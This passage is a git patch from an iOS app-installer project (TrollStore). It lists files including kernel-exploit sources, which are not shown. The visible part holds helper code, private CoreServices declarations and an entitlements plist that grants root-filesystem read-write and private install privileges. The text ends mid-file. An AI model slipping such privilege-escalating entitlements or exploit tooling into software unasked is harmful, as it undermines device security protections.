From 057bd1a45f5236e54897a9714bc06521eafef500 Mon Sep 17 00:00:00 2001 From: opa334 Date: Fri, 2 Sep 2022 17:19:48 +0200 Subject: [PATCH] add project --- .gitignore | 6 + Helper/CoreServices.h | 51 + Helper/Makefile | 15 + Helper/Shared.h | 7 + Helper/Shared.m | 91 ++ Helper/control | 9 + Helper/entitlements.plist | 33 + Helper/main.m | 685 ++++++++++ Helper/main.m-system | 351 +++++ Helper/uicache.h | 1 + Helper/uicache.m | 92 ++ Helper/unarchive.h | 3 + Helper/unarchive.m | 87 ++ .../TrollInstaller.xcodeproj/project.pbxproj | 478 +++++++ .../contents.xcworkspacedata | 7 + .../xcshareddata/IDEWorkspaceChecks.plist | 8 + .../TrollInstaller/AppDelegate.h | 14 + .../TrollInstaller/AppDelegate.m | 40 + .../AccentColor.colorset/Contents.json | 11 + .../AppIcon.appiconset/1024.png | Bin 0 -> 251249 bytes .../AppIcon.appiconset/120-1.png | Bin 0 -> 15176 bytes .../AppIcon.appiconset/120.png | Bin 0 -> 15176 bytes .../AppIcon.appiconset/152.png | Bin 0 -> 21577 bytes .../AppIcon.appiconset/167.png | Bin 0 -> 24052 bytes .../AppIcon.appiconset/180.png | Bin 0 -> 27610 bytes .../Assets.xcassets/AppIcon.appiconset/20.png | Bin 0 -> 1966 bytes .../Assets.xcassets/AppIcon.appiconset/29.png | Bin 0 -> 2783 bytes .../AppIcon.appiconset/40-1.png | Bin 0 -> 3901 bytes .../AppIcon.appiconset/40-2.png | Bin 0 -> 3901 bytes .../Assets.xcassets/AppIcon.appiconset/40.png | Bin 0 -> 3901 bytes .../AppIcon.appiconset/58-1.png | Bin 0 -> 5891 bytes .../Assets.xcassets/AppIcon.appiconset/58.png | Bin 0 -> 5891 bytes .../Assets.xcassets/AppIcon.appiconset/60.png | Bin 0 -> 6128 bytes .../Assets.xcassets/AppIcon.appiconset/76.png | Bin 0 -> 8360 bytes .../AppIcon.appiconset/80-1.png | Bin 0 -> 8600 bytes .../Assets.xcassets/AppIcon.appiconset/80.png | Bin 0 -> 8600 bytes .../Assets.xcassets/AppIcon.appiconset/87.png | Bin 0 -> 9975 bytes .../AppIcon.appiconset/Contents.json | 116 ++ .../Assets.xcassets/Contents.json | 6 + .../Base.lproj/LaunchScreen.storyboard | 25 + .../TrollInstaller/Base.lproj/Main.storyboard | 83 ++ .../TrollInstaller/TrollInstaller/Info.plist | 25 + .../TrollInstaller/KernelManager.h | 232 ++++ .../TrollInstaller/KernelManager.m | 438 ++++++ .../TrollInstaller/SceneDelegate.h | 15 + .../TrollInstaller/SceneDelegate.m | 57 + .../TrollInstaller/ViewController.h | 14 + .../TrollInstaller/ViewController.m | 211 +++ .../TrollInstaller/exploit/IOGPU.c | 81 ++ .../TrollInstaller/exploit/IOGPU.h | 16 + .../TrollInstaller/exploit/IOSurfaceRoot.c | 124 ++ .../TrollInstaller/exploit/IOSurfaceRoot.h | 25 + .../TrollInstaller/exploit/exploit.c | 335 +++++ .../TrollInstaller/exploit/exploit.h | 9 + .../TrollInstaller/exploit/iokit.h | 120 ++ .../TrollInstaller/exploit/kernel_base.c | 64 + .../TrollInstaller/exploit/kernel_base.h | 9 + .../TrollInstaller/exploit/kernel_rw.c | 75 + .../TrollInstaller/exploit/kernel_rw.h | 18 + .../TrollInstaller/exploit/mcast.c | 55 + .../TrollInstaller/exploit/mcast.h | 9 + .../TrollInstaller/exploit/necp.c | 16 + .../TrollInstaller/exploit/necp.h | 10 + .../TrollInstaller/exploit/port_utils.c | 116 ++ .../TrollInstaller/exploit/port_utils.h | 22 + .../TrollInstaller/exploit/spray.c | 214 +++ .../TrollInstaller/exploit/spray.h | 23 + .../TrollInstaller/exploit/xpaci.h | 18 + .../TrollInstaller/headers/archive.h | 1210 +++++++++++++++++ .../TrollInstaller/headers/archive_entry.h | 721 ++++++++++ .../TrollInstaller/TrollInstaller/kutil.h | 53 + .../TrollInstaller/TrollInstaller/kutil.m | 31 + .../TrollInstaller/TrollInstaller/main.m | 18 + .../TrollInstaller/TrollInstaller/unarchive.h | 15 + .../TrollInstaller/TrollInstaller/unarchive.m | 94 ++ LICENSE | 64 + PersistenceHelper/Makefile | 17 + PersistenceHelper/Resources/AppIcon29x29.png | Bin 0 -> 2851 bytes .../Resources/AppIcon29x29@2x.png | Bin 0 -> 6096 bytes .../Resources/AppIcon29x29@3x.png | Bin 0 -> 10258 bytes PersistenceHelper/Resources/AppIcon40x40.png | Bin 0 -> 4050 bytes .../Resources/AppIcon40x40@2x.png | Bin 0 -> 8896 bytes .../Resources/AppIcon40x40@3x.png | Bin 0 -> 15740 bytes PersistenceHelper/Resources/AppIcon50x50.png | Bin 0 -> 5248 bytes .../Resources/AppIcon50x50@2x.png | Bin 0 -> 12362 bytes PersistenceHelper/Resources/AppIcon57x57.png | Bin 0 -> 6053 bytes .../Resources/AppIcon57x57@2x.png | Bin 0 -> 14797 bytes .../Resources/AppIcon57x57@3x.png | Bin 0 -> 11118 bytes PersistenceHelper/Resources/AppIcon60x60.png | Bin 0 -> 6335 bytes .../Resources/AppIcon60x60@2x.png | Bin 0 -> 15740 bytes .../Resources/AppIcon60x60@3x.png | Bin 0 -> 27971 bytes PersistenceHelper/Resources/AppIcon72x72.png | Bin 0 -> 7686 bytes .../Resources/AppIcon72x72@2x.png | Bin 0 -> 20541 bytes PersistenceHelper/Resources/AppIcon76x76.png | Bin 0 -> 8662 bytes .../Resources/AppIcon76x76@2x.png | Bin 0 -> 21962 bytes PersistenceHelper/Resources/Info.plist | 156 +++ .../Resources/LaunchImage-700-568h@2x.png | 0 .../LaunchImage-700-Landscape@2x~ipad.png | 0 .../LaunchImage-700-Landscape~ipad.png | 0 .../LaunchImage-700-Portrait@2x~ipad.png | 0 .../LaunchImage-700-Portrait~ipad.png | 0 .../Resources/LaunchImage-800-667h@2x.png | 0 .../LaunchImage-800-Landscape-736h@3x.png | 0 .../LaunchImage-800-Portrait-736h@3x.png | 0 PersistenceHelper/Resources/LaunchImage.png | 0 .../Resources/LaunchImage@2x.png | 0 PersistenceHelper/Resources/trollstorehelper | Bin 0 -> 122016 bytes PersistenceHelper/TSPHAppDelegate.h | 8 + PersistenceHelper/TSPHAppDelegate.m | 14 + PersistenceHelper/TSPHRootViewController.h | 9 + PersistenceHelper/TSPHRootViewController.m | 218 +++ PersistenceHelper/control | 8 + PersistenceHelper/entitlements.plist | 34 + PersistenceHelper/main.m | 10 + README.md | 5 + Store/Makefile | 14 + Store/Resources/AppIcon29x29.png | Bin 0 -> 2863 bytes Store/Resources/AppIcon29x29@2x.png | Bin 0 -> 6214 bytes Store/Resources/AppIcon29x29@3x.png | Bin 0 -> 10350 bytes Store/Resources/AppIcon40x40.png | Bin 0 -> 4069 bytes Store/Resources/AppIcon40x40@2x.png | Bin 0 -> 9032 bytes Store/Resources/AppIcon40x40@3x.png | Bin 0 -> 15901 bytes Store/Resources/AppIcon50x50.png | Bin 0 -> 5335 bytes Store/Resources/AppIcon50x50@2x.png | Bin 0 -> 12562 bytes Store/Resources/AppIcon57x57.png | Bin 0 -> 6083 bytes Store/Resources/AppIcon57x57@2x.png | Bin 0 -> 15021 bytes Store/Resources/AppIcon57x57@3x.png | Bin 0 -> 11076 bytes Store/Resources/AppIcon60x60.png | Bin 0 -> 6368 bytes Store/Resources/AppIcon60x60@2x.png | Bin 0 -> 15901 bytes Store/Resources/AppIcon60x60@3x.png | Bin 0 -> 29452 bytes Store/Resources/AppIcon72x72.png | Bin 0 -> 7780 bytes Store/Resources/AppIcon72x72@2x.png | Bin 0 -> 21251 bytes Store/Resources/AppIcon76x76.png | Bin 0 -> 8761 bytes Store/Resources/AppIcon76x76@2x.png | Bin 0 -> 23043 bytes Store/Resources/Info.plist | 225 +++ Store/Resources/LaunchImage-700-568h@2x.png | 0 .../LaunchImage-700-Landscape@2x~ipad.png | 0 .../LaunchImage-700-Landscape~ipad.png | 0 .../LaunchImage-700-Portrait@2x~ipad.png | 0 .../LaunchImage-700-Portrait~ipad.png | 0 Store/Resources/LaunchImage-800-667h@2x.png | 0 .../LaunchImage-800-Landscape-736h@3x.png | 0 .../LaunchImage-800-Portrait-736h@3x.png | 0 Store/Resources/LaunchImage.png | 0 Store/Resources/LaunchImage@2x.png | 0 Store/Resources/cert.p12 | Bin 0 -> 4901 bytes Store/Resources/fallback.entitlements | 17 + Store/TSAppDelegate.h | 5 + Store/TSAppDelegate.m | 23 + Store/TSAppTableViewController.h | 5 + Store/TSAppTableViewController.m | 59 + Store/TSApplicationsManager.h | 19 + Store/TSApplicationsManager.m | 67 + Store/TSRootViewController.h | 5 + Store/TSRootViewController.m | 26 + Store/TSSceneDelegate.h | 6 + Store/TSSceneDelegate.m | 109 ++ Store/TSSettingsListController.h | 9 + Store/TSSettingsListController.m | 336 +++++ Store/TSUtil.h | 6 + Store/TSUtil.m | 139 ++ Store/control | 8 + Store/entitlements.plist | 34 + Store/main.m | 8 + _compile/build_full.sh | 47 + _compile/cert.p12 | Bin 0 -> 4901 bytes 166 files changed, 8422 insertions(+) create mode 100644 .gitignore create mode 100644 Helper/CoreServices.h create mode 100644 Helper/Makefile create mode 100644 Helper/Shared.h create mode 100644 Helper/Shared.m create mode 100644 Helper/control create mode 100644 Helper/entitlements.plist create mode 100644 Helper/main.m create mode 100644 Helper/main.m-system create mode 100644 Helper/uicache.h create mode 100644 Helper/uicache.m create mode 100644 Helper/unarchive.h create mode 100644 Helper/unarchive.m create mode 100644 Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj create mode 100644 Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata create mode 100644 Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist create mode 100644 Installer/TrollInstaller/TrollInstaller/AppDelegate.h create mode 100644 Installer/TrollInstaller/TrollInstaller/AppDelegate.m create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120-1.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/167.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/180.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-2.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58-1.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/76.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json create mode 100644 Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json create mode 100644 Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard create mode 100644 Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard create mode 100644 Installer/TrollInstaller/TrollInstaller/Info.plist create mode 100644 Installer/TrollInstaller/TrollInstaller/KernelManager.h create mode 100644 Installer/TrollInstaller/TrollInstaller/KernelManager.m create mode 100644 Installer/TrollInstaller/TrollInstaller/SceneDelegate.h create mode 100644 Installer/TrollInstaller/TrollInstaller/SceneDelegate.m create mode 100644 Installer/TrollInstaller/TrollInstaller/ViewController.h create mode 100644 Installer/TrollInstaller/TrollInstaller/ViewController.m create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/exploit.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/exploit.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/iokit.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/mcast.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/mcast.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/necp.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/necp.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/spray.c create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/spray.h create mode 100644 Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h create mode 100644 Installer/TrollInstaller/TrollInstaller/headers/archive.h create mode 100644 Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h create mode 100644 Installer/TrollInstaller/TrollInstaller/kutil.h create mode 100644 Installer/TrollInstaller/TrollInstaller/kutil.m create mode 100644 Installer/TrollInstaller/TrollInstaller/main.m create mode 100644 Installer/TrollInstaller/TrollInstaller/unarchive.h create mode 100644 Installer/TrollInstaller/TrollInstaller/unarchive.m create mode 100644 LICENSE create mode 100644 PersistenceHelper/Makefile create mode 100644 PersistenceHelper/Resources/AppIcon29x29.png create mode 100644 PersistenceHelper/Resources/AppIcon29x29@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon29x29@3x.png create mode 100644 PersistenceHelper/Resources/AppIcon40x40.png create mode 100644 PersistenceHelper/Resources/AppIcon40x40@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon40x40@3x.png create mode 100644 PersistenceHelper/Resources/AppIcon50x50.png create mode 100644 PersistenceHelper/Resources/AppIcon50x50@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon57x57.png create mode 100644 PersistenceHelper/Resources/AppIcon57x57@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon57x57@3x.png create mode 100644 PersistenceHelper/Resources/AppIcon60x60.png create mode 100644 PersistenceHelper/Resources/AppIcon60x60@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon60x60@3x.png create mode 100644 PersistenceHelper/Resources/AppIcon72x72.png create mode 100644 PersistenceHelper/Resources/AppIcon72x72@2x.png create mode 100644 PersistenceHelper/Resources/AppIcon76x76.png create mode 100644 PersistenceHelper/Resources/AppIcon76x76@2x.png create mode 100644 PersistenceHelper/Resources/Info.plist create mode 100644 PersistenceHelper/Resources/LaunchImage-700-568h@2x.png create mode 100644 PersistenceHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png create mode 100644 PersistenceHelper/Resources/LaunchImage-700-Landscape~ipad.png create mode 100644 PersistenceHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png create mode 100644 PersistenceHelper/Resources/LaunchImage-700-Portrait~ipad.png create mode 100644 PersistenceHelper/Resources/LaunchImage-800-667h@2x.png create mode 100644 PersistenceHelper/Resources/LaunchImage-800-Landscape-736h@3x.png create mode 100644 PersistenceHelper/Resources/LaunchImage-800-Portrait-736h@3x.png create mode 100644 PersistenceHelper/Resources/LaunchImage.png create mode 100644 PersistenceHelper/Resources/LaunchImage@2x.png create mode 100755 PersistenceHelper/Resources/trollstorehelper create mode 100644 PersistenceHelper/TSPHAppDelegate.h create mode 100644 PersistenceHelper/TSPHAppDelegate.m create mode 100644 PersistenceHelper/TSPHRootViewController.h create mode 100644 PersistenceHelper/TSPHRootViewController.m create mode 100644 PersistenceHelper/control create mode 100644 PersistenceHelper/entitlements.plist create mode 100644 PersistenceHelper/main.m create mode 100644 README.md create mode 100644 Store/Makefile create mode 100644 Store/Resources/AppIcon29x29.png create mode 100644 Store/Resources/AppIcon29x29@2x.png create mode 100644 Store/Resources/AppIcon29x29@3x.png create mode 100644 Store/Resources/AppIcon40x40.png create mode 100644 Store/Resources/AppIcon40x40@2x.png create mode 100644 Store/Resources/AppIcon40x40@3x.png create mode 100644 Store/Resources/AppIcon50x50.png create mode 100644 Store/Resources/AppIcon50x50@2x.png create mode 100644 Store/Resources/AppIcon57x57.png create mode 100644 Store/Resources/AppIcon57x57@2x.png create mode 100644 Store/Resources/AppIcon57x57@3x.png create mode 100644 Store/Resources/AppIcon60x60.png create mode 100644 Store/Resources/AppIcon60x60@2x.png create mode 100644 Store/Resources/AppIcon60x60@3x.png create mode 100644 Store/Resources/AppIcon72x72.png create mode 100644 Store/Resources/AppIcon72x72@2x.png create mode 100644 Store/Resources/AppIcon76x76.png create mode 100644 Store/Resources/AppIcon76x76@2x.png create mode 100644 Store/Resources/Info.plist create mode 100644 Store/Resources/LaunchImage-700-568h@2x.png create mode 100644 Store/Resources/LaunchImage-700-Landscape@2x~ipad.png create mode 100644 Store/Resources/LaunchImage-700-Landscape~ipad.png create mode 100644 Store/Resources/LaunchImage-700-Portrait@2x~ipad.png create mode 100644 Store/Resources/LaunchImage-700-Portrait~ipad.png create mode 100644 Store/Resources/LaunchImage-800-667h@2x.png create mode 100644 Store/Resources/LaunchImage-800-Landscape-736h@3x.png create mode 100644 Store/Resources/LaunchImage-800-Portrait-736h@3x.png create mode 100644 Store/Resources/LaunchImage.png create mode 100644 Store/Resources/LaunchImage@2x.png create mode 100644 Store/Resources/cert.p12 create mode 100644 Store/Resources/fallback.entitlements create mode 100644 Store/TSAppDelegate.h create mode 100644 Store/TSAppDelegate.m create mode 100644 Store/TSAppTableViewController.h create mode 100644 Store/TSAppTableViewController.m create mode 100644 Store/TSApplicationsManager.h create mode 100644 Store/TSApplicationsManager.m create mode 100644 Store/TSRootViewController.h create mode 100644 Store/TSRootViewController.m create mode 100644 Store/TSSceneDelegate.h create mode 100644 Store/TSSceneDelegate.m create mode 100644 Store/TSSettingsListController.h create mode 100644 Store/TSSettingsListController.m create mode 100644 Store/TSUtil.h create mode 100644 Store/TSUtil.m create mode 100644 Store/control create mode 100644 Store/entitlements.plist create mode 100644 Store/main.m create mode 100755 _compile/build_full.sh create mode 100644 _compile/cert.p12 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9a43b93 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +out/ +.DS_Store +.theos/ +packages/ +xcuserdata +.vscode \ No newline at end of file diff --git a/Helper/CoreServices.h b/Helper/CoreServices.h new file mode 100644 index 0000000..bc0fd1b --- /dev/null +++ b/Helper/CoreServices.h @@ -0,0 +1,51 @@ +@interface LSBundleProxy +@property (nonatomic,readonly) NSString * bundleIdentifier; +@property (nonatomic) NSURL* dataContainerURL; +-(NSString*)localizedName; +@end + +@interface LSApplicationProxy : LSBundleProxy ++ (instancetype)applicationProxyForIdentifier:(NSString*)identifier; +@property NSURL* bundleURL; +@property NSString* bundleType; +@property NSString* canonicalExecutablePath; +@property (nonatomic,readonly) NSDictionary* groupContainerURLs; +@property (nonatomic,readonly) NSArray* plugInKitPlugins; +@property (getter=isInstalled,nonatomic,readonly) BOOL installed; +@property (getter=isPlaceholder,nonatomic,readonly) BOOL placeholder; +@property (getter=isRestricted,nonatomic,readonly) BOOL restricted; +@end + +@interface LSApplicationWorkspace : NSObject ++ (instancetype)defaultWorkspace; +- (BOOL)registerApplicationDictionary:(NSDictionary*)dict; +- (BOOL)unregisterApplication:(id)arg1; +- (BOOL)_LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)arg1 internal:(BOOL)arg2 user:(BOOL)arg3; +- (BOOL)uninstallApplication:(NSString*)arg1 withOptions:(id)arg2; +- (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block; +@end + +@interface LSPlugInKitProxy : LSBundleProxy +@property (nonatomic,readonly) NSString* pluginIdentifier; +@property (nonatomic,readonly) NSDictionary * pluginKitDictionary; ++ (instancetype)pluginKitProxyForIdentifier:(NSString*)arg1; +@end + +@interface MCMContainer : NSObject ++ (id)containerWithIdentifier:(id)arg1 createIfNecessary:(BOOL)arg2 existed:(BOOL*)arg3 error:(id*)arg4; +@property (nonatomic,readonly) NSURL * url; +@end + +@interface MCMDataContainer : MCMContainer + +@end + +@interface MCMAppDataContainer : MCMDataContainer + +@end + +@interface MCMAppContainer : MCMContainer +@end + +@interface MCMPluginKitPluginDataContainer : MCMDataContainer +@end \ No newline at end of file diff --git a/Helper/Makefile b/Helper/Makefile new file mode 100644 index 0000000..18aa46d --- /dev/null +++ b/Helper/Makefile @@ -0,0 +1,15 @@ +TARGET := iphone:clang:14.5:14.0 +ARCHS = arm64 + +include $(THEOS)/makefiles/common.mk + +TOOL_NAME = trollstorehelper + +trollstorehelper_FILES = $(wildcard *.m) +trollstorehelper_CFLAGS = -fobjc-arc +trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist +trollstorehelper_INSTALL_PATH = /usr/local/bin +trollstorehelper_LIBRARIES = archive +trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices + +include $(THEOS_MAKE_PATH)/tool.mk diff --git a/Helper/Shared.h b/Helper/Shared.h new file mode 100644 index 0000000..d224e1f --- /dev/null +++ b/Helper/Shared.h @@ -0,0 +1,7 @@ +#import "CoreServices.h" + +NSArray* trollStoreInstalledAppBundlePaths(); +NSArray* trollStoreInstalledAppContainerPaths(); +NSString* trollStorePath(); +NSString* trollStoreAppPath(); +LSApplicationProxy* findPersistenceHelperApp(void); \ No newline at end of file diff --git a/Helper/Shared.m b/Helper/Shared.m new file mode 100644 index 0000000..af778dd --- /dev/null +++ b/Helper/Shared.m @@ -0,0 +1,91 @@ +@import Foundation; +#import "CoreServices.h" +#import + +NSArray* trollStoreInstalledAppContainerPaths() +{ + NSMutableArray* appContainerPaths = [NSMutableArray new]; + + NSString* appContainersPath = @"/var/containers/Bundle/Application"; + + NSError* error; + NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error]; + if(error) + { + NSLog(@"error getting app bundles paths %@", error); + } + if(!containers) return nil; + + for(NSString* container in containers) + { + NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container]; + BOOL isDirectory = NO; + BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory]; + if(exists && isDirectory) + { + NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"]; + if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark]) + { + NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp]) + { + [appContainerPaths addObject:containerPath]; + } + } + } + } + + return appContainerPaths.copy; +} + +NSArray* trollStoreInstalledAppBundlePaths() +{ + NSMutableArray* appPaths = [NSMutableArray new]; + for(NSString* containerPath in trollStoreInstalledAppContainerPaths()) + { + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil]; + if(!items) return nil; + + for(NSString* item in items) + { + if([item.pathExtension isEqualToString:@"app"]) + { + [appPaths addObject:[containerPath stringByAppendingPathComponent:item]]; + } + } + } + return appPaths.copy; +} + +NSString* trollStorePath() +{ + NSError* mcmError; + MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError]; + if(!appContainer) return nil; + return appContainer.url.path; +} + +NSString* trollStoreAppPath() +{ + return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"]; +} + +LSApplicationProxy* findPersistenceHelperApp(void) +{ + __block LSApplicationProxy* outProxy; + [[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy) + { + if(appProxy.installed && !appProxy.restricted) + { + if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"]) + { + NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil]) + { + outProxy = appProxy; + } + } + } + }]; + return outProxy; +} \ No newline at end of file diff --git a/Helper/control b/Helper/control new file mode 100644 index 0000000..07e838f --- /dev/null +++ b/Helper/control @@ -0,0 +1,9 @@ +Package: com.opa334.trollstoreroothelper +Name: trollstoreroothelper +Version: 1.0 +Architecture: iphoneos-arm +Description: An awesome tool of some sort!! +Maintainer: opa334 +Author: opa334 +Section: System +Tag: role::hacker diff --git a/Helper/entitlements.plist b/Helper/entitlements.plist new file mode 100644 index 0000000..a477f6c --- /dev/null +++ b/Helper/entitlements.plist @@ -0,0 +1,33 @@ + + + + platform-application + + com.apple.private.security.container-required + + com.apple.security.exception.files.absolute-path.read-write + + / + + com.apple.private.security.container-manager + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.lsapplicationworkspace.rebuildappdatabases + + com.apple.private.security.storage.AppBundles + + com.apple.private.MobileContainerManager.allowed + + com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled + + com.apple.private.MobileInstallationHelperService.allowed + + com.apple.private.uninstall.deletion + + com.apple.backboardd.launchapplications + + com.apple.multitasking.termination + + + diff --git a/Helper/main.m b/Helper/main.m new file mode 100644 index 0000000..64bbdb5 --- /dev/null +++ b/Helper/main.m @@ -0,0 +1,685 @@ +#import +#import "unarchive.h" +@import Foundation; +#import "uicache.h" +#import +#import +#import +#import +#import "CoreServices.h" +#import "Shared.h" + +#import + +extern mach_msg_return_t SBReloadIconForIdentifier(mach_port_t machport, const char* identifier); +@interface SBSHomeScreenService : NSObject +- (void)reloadIcons; +@end +extern NSString* BKSActivateForEventOptionTypeBackgroundContentFetching; +extern NSString* BKSOpenApplicationOptionKeyActivateForEvent; + +extern void BKSTerminateApplicationForReasonAndReportWithDescription(NSString *bundleID, int reasonID, bool report, NSString *description); + +#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer") + +typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); + +BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper); + +extern char*** _NSGetArgv(); +NSString* safe_getExecutablePath() +{ + char* executablePathC = **_NSGetArgv(); + return [NSString stringWithUTF8String:executablePathC]; +} + +NSDictionary* infoDictionaryForAppPath(NSString* appPath) +{ + NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"]; + return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath]; +} + +NSString* appIdForAppPath(NSString* appPath) +{ + return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"]; +} + +NSString* appPathForAppId(NSString* appId, NSError** error) +{ + for(NSString* appPath in trollStoreInstalledAppBundlePaths()) + { + if([appIdForAppPath(appPath) isEqualToString:appId]) + { + return appPath; + } + } + return nil; +} + +static NSString* getNSStringFromFile(int fd) +{ + NSMutableString* ms = [NSMutableString new]; + ssize_t num_read; + char c; + while((num_read = read(fd, &c, sizeof(c)))) + { + [ms appendString:[NSString stringWithFormat:@"%c", c]]; + } + return ms.copy; +} + +static void printMultilineNSString(NSString* stringToPrint) +{ + NSCharacterSet *separator = [NSCharacterSet newlineCharacterSet]; + NSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator]; + for(NSString* line in lines) + { + NSLog(@"%@", line); + } +} + +void installLdid(NSString* ldidToCopyPath) +{ + if(![[NSFileManager defaultManager] fileExistsAtPath:ldidToCopyPath]) return; + + NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"]; + if([[NSFileManager defaultManager] fileExistsAtPath:ldidPath]) + { + [[NSFileManager defaultManager] removeItemAtPath:ldidPath error:nil]; + } + + [[NSFileManager 